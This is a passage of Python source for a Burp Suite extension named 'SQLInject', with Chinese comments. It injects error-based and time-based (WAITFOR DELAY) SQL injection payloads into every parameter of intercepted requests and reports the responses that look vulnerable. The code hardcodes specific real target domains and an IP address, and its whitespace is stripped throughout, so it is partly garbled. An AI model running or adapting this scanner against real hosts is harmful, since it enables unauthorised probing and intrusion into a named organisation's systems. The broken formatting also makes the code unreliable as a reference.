'/***/WAITFOR/***/DELAY/***/"0:0:{}"--+'.format(SLEEP_TIME), "'/***/WAITFOR/***/DELAY/***/'0:0:{}'--+".format(SLEEP_TIME), '"/***/WAITFOR/***/DELAY/***/"0:0:{}"--+'.format(SLEEP_TIME)
#';WAITFOR/***/DELAY/***/"0:0:10"--+', #"';WAITFOR/***/DELAY/***/'0:0:10'--+", #'";WAITFOR/***/DELAY/***/"0:0:10"--+', # #');WAITFOR/***/DELAY/***/"0:0:10"--+', #"');WAITFOR/***/DELAY/***/'0:0:10'--+", #'");WAITFOR/***/DELAY/***/"0:0:10"--+' ]
#报错注入的特征 self.errorFlag=re.compile(r'.*(SQLsyntax|Warning|mysql_error|\^\^\^).*')
classBurpExtender(IBurpExtender,IHttpListener): globalurls urls=[] defregisterExtenderCallbacks(self,callbacks):
self._callbacks=callbacks
#用于获取IExtensionHelpers对象,扩展可以使用该对象执行许多有用的任务。返回:包含许多帮助器方法的对象,用于构建和分析HTTP请求等任务。 self._helpers=callbacks.getHelpers()
#用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name-扩展名。。 self._callbacks.setExtensionName("SQLInject")
#用于注册侦听器,该侦听器将通知任何Burp工具发出的请求和响应。扩展可以通过注册HTTP侦听器来执行自定义分析或修改这些消息。参数:listener-实现IHttpListener接口的扩展创建的对象。 callbacks.registerHttpListener(self)
self.fuzzSQL=FuzzSQL()
#获取请求的url defget_request_url(self,protocol,reqHeaders): link=reqHeaders[0].split('')[1] host=reqHeaders[1].split('')[1] returnprotocol+'://'+host+link
#保存结果 defsave(self,content): printcontent f=open(saveFile,'at') f.writelines(content+'\n\n') f.close()
#获取请求的一些信息:请求头,请求内容,请求方法,请求参数 defget_request_info(self,request): analyzedRequest=self._helpers.analyzeRequest( request)#analyzeRequest用于分析HTTP请求,并获取有关它的各种关键详细信息。生成的IRequestInfo对象 reqHeaders=analyzedRequest.getHeaders()#用于获取请求中包含的HTTP头。返回:请求中包含的HTTP标头。 reqBodys=request[analyzedRequest.getBodyOffset():].tostring()#获取消息正文开始的请求中的偏移量。返回:消息正文开始的请求中的偏移量。 reqMethod=analyzedRequest.getMethod()#获取请求方法 reqParameters=analyzedRequest.getParameters() returnanalyzedRequest,reqHeaders,reqBodys,reqMethod,reqParameters
#获取响应的一些信息:响应头,响应内容,响应状态码 defget_response_info(self,response): analyzedResponse=self._helpers.analyzeResponse( response)#analyzeResponse方法可用于分析HTTP响应,并获取有关它的各种关键详细信息。返回:IResponseInfo可以查询的对象以获取有关响应的详细信息。 resHeaders=analyzedResponse.getHeaders()#getHeaders方法用于获取响应中包含的HTTP标头。返回:响应中包含的HTTP标头。 resBodys=response[ analyzedResponse.getBodyOffset():].tostring()#getBodyOffset方法用于获取消息正文开始的响应中的偏移量。返回:消息正文开始的响应中的偏移量。response[analyzedResponse.getBodyOffset():]获取正文内容 resStatusCode=analyzedResponse.getStatusCode()#getStatusCode获取响应中包含的HTTP状态代码。返回:响应中包含的HTTP状态代码。 returnresHeaders,resBodys,resStatusCode
#获取服务端的信息,主机地址,端口,协议 defget_server_info(self,httpService): host=httpService.getHost() port=httpService.getPort() protocol=httpService.getProtocol() ishttps=False ifprotocol=='https': ishttps=True returnhost,port,protocol,ishttps
#获取请求的参数名、参数值、参数类型(get、post、cookie->用来构造参数时使用) defget_parameter_Name_Value_Type(self,parameter): parameterName=parameter.getName() parameterValue=parameter.getValue() parameterType=parameter.getType() returnparameterName,parameterValue,parameterType
#检查是否存在报错注入 defcheck_error_inject(self,request,protocol,host,port,ishttps,parameterName,parameterValueSQL,parameterType): thread_id=threading.current_thread().ident #print'['+str(thread_id)+']'+parameterValueSQL #构造参数 newParameter=self._helpers.buildParameter(parameterName,parameterValueSQL,parameterType) #printnewParameter #更新参数,并发送请求 newRequest=self._helpers.updateParameter(request,newParameter) newAnalyzedRequest,newReqHeaders,newReqBodys,newReqMethod,newReqParameters=self.get_request_info( newRequest)
#新的响应 newResponse=self._callbacks.makeHttpRequest(host,port,ishttps,newRequest) newResHeaders,newResBodys,newResStatusCode=self.get_response_info(newResponse)
#判断是否存在报错注入的特征 errorInject=self.fuzzSQL.errorFlag.findall(newResBodys)
iferrorInject: #获取请求的url newReqUrl=self.get_request_url(protocol,newReqHeaders) content='[+]{}->{}\n[Headers]->{}\n[Bodys]->{}'.format(errorInject,newReqUrl,newReqHeaders,newReqBodys) printcontent #self.save(content) print'-'*50
#检测是否存在延时注入 defcheck_blind_inject(self,request,protocol,host,port,ishttps,parameterName,parameterValueSQL,parameterType): thread_id=threading.current_thread().ident #print'['+str(thread_id)+']'+parameterValueSQL #构造参数 newParameter=self._helpers.buildParameter(parameterName,parameterValueSQL,parameterType) #printnewParameter #起始时间 startTime=time.time() #更新参数,并发送请求 newRequest=self._helpers.updateParameter(request,newParameter)
newAnalyzedRequest,newReqHeaders,newReqBodys,newReqMethod,newReqParameters=self.get_request_info( newRequest)
#新的响应 newResponse=self._callbacks.makeHttpRequest(host,port,ishttps,newRequest) newResHeaders,newResBodys,newResStatusCode=self.get_response_info(newResponse)
endTime=time.time() sleepTime=endTime-startTime #printsleepTime #判断是否延时 ifsleepTime>=SLEEP_TIME: #获取请求的url newReqUrl=self.get_request_url(protocol,newReqHeaders) content='[+]{}->{}\n[Headers]->{}\n[Bodys]->{}'.format('[Blind]',newReqUrl,newReqHeaders,newReqBodys) printcontent #self.save(content) print'-'*50
#每次burp发送请求时,都会调用该方法 defprocessHttpMessage(self,toolFlag,messageIsRequest,messageInfo): ''' :paramtoolFlag:一个标志,指示发出请求的Burp工具。Burp工具标志在IBurpExtenderCallbacks界面中定义 :parammessageIsRequest:标记是否为请求或响应调用方法。 :parammessageInfo:要处理的请求/响应的详细信息。扩展可以调用此对象上的setter方法来更新当前消息,从而修改Burp的行为。 :return: '''
#Proxy和Repeater触发插件 iftoolFlag==64ortoolFlag==16ortoolFlag==8ortoolFlag==4:
#处理响应内容 ifnotmessageIsRequest:
#获取请求包的数据 request=messageInfo.getRequest() analyzedRequest,reqHeaders,reqBodys,reqMethod,reqParameters=self.get_request_info(request)
#获取响应包的数据 #response=messageInfo.getResponse()#getResponse方法用于检索请求消息。返回:响应消息。 #resHeaders,resBodys,resStatusCode=self.get_response_info(response)
#获取服务信息 httpService=messageInfo.getHttpService() host,port,protocol,ishttps=self.get_server_info(httpService)
#获取请求的url #reqUrl=self.get_request_url(protocol,reqHeaders)
#ifreqMethod=='GET': iflen(host.split('.')[-2])!=3: host_exp=host.split('.')[-2]+'.'+host.split('.')[-1] else: host_exp=host.split('.')[-3]+'.'+host.split('.')[-2]+'.'+host.split('.')[-1] #printhost_exp #获取请求的url #reqUrl=self.get_request_url(protocol,reqHeaders) url=str(host)+reqHeaders[0].split('')[1]+str(reqBodys) #printurl #ifreqMethod=='GET': target_host=['saicmotor.com','saicmaxus.com',''] target_ip=['149.28.232.77'] ifurlnotinurls: #printurl urls.append(url) ifhost_expintarget_hostorhostintarget_ip: ifreqHeaders[0].split('')[1].endswith('.js')orreqHeaders[0].split('')[1].endswith('.css')orreqHeaders[0].split('')[1].endswith('.jpg')orreqHeaders[0].split('')[1].endswith('.png')orreqHeaders[0].split('')[1].endswith('.gif')orreqHeaders[0].split('')[1].endswith('.woff?'): #print"staticsource" pass
else: error_threads=[] parameterErrorSQL=[]#报错语句列表 forparameterinreqParameters: parameterName,parameterValue,parameterType=self.get_parameter_Name_Value_Type(parameter) forsqlErrorinself.fuzzSQL.error: parameterErrorSQL.append([parameterName,parameterValue+sqlError,parameterType])#构造新的参数值,带有sql测试语句
forsqlErrorinparameterErrorSQL: parameterName,parameterValueSQL,parameterType=sqlError t=threading.Thread(target=self.check_error_inject,args=(request,protocol,host,port,ishttps,parameterName,parameterValueSQL,parameterType)) error_threads.append(t) t.start() fortinerror_threads: t.join()
#多线程遍历每个延时注入 blind_threads=[] parameterBlindSQL=[] forparameterinreqParameters: parameterName,parameterValue,parameterType=self.get_parameter_Name_Value_Type(parameter) forsqlBlindinself.fuzzSQL.blind: parameterBlindSQL.append([parameterName,parameterValue+sqlBlind,parameterType])
forsqlBlindinparameterBlindSQL: parameterName,parameterValueSQL,parameterType=sqlBlind t=threading.Thread(target=self.check_blind_inject,args=(request,protocol,host,port,ishttps,parameterName,parameterValueSQL,parameterType)) blind_threads.append(t) t.start() fortinblind_threads: t.join()
else: print"isarepeaturl" | |
|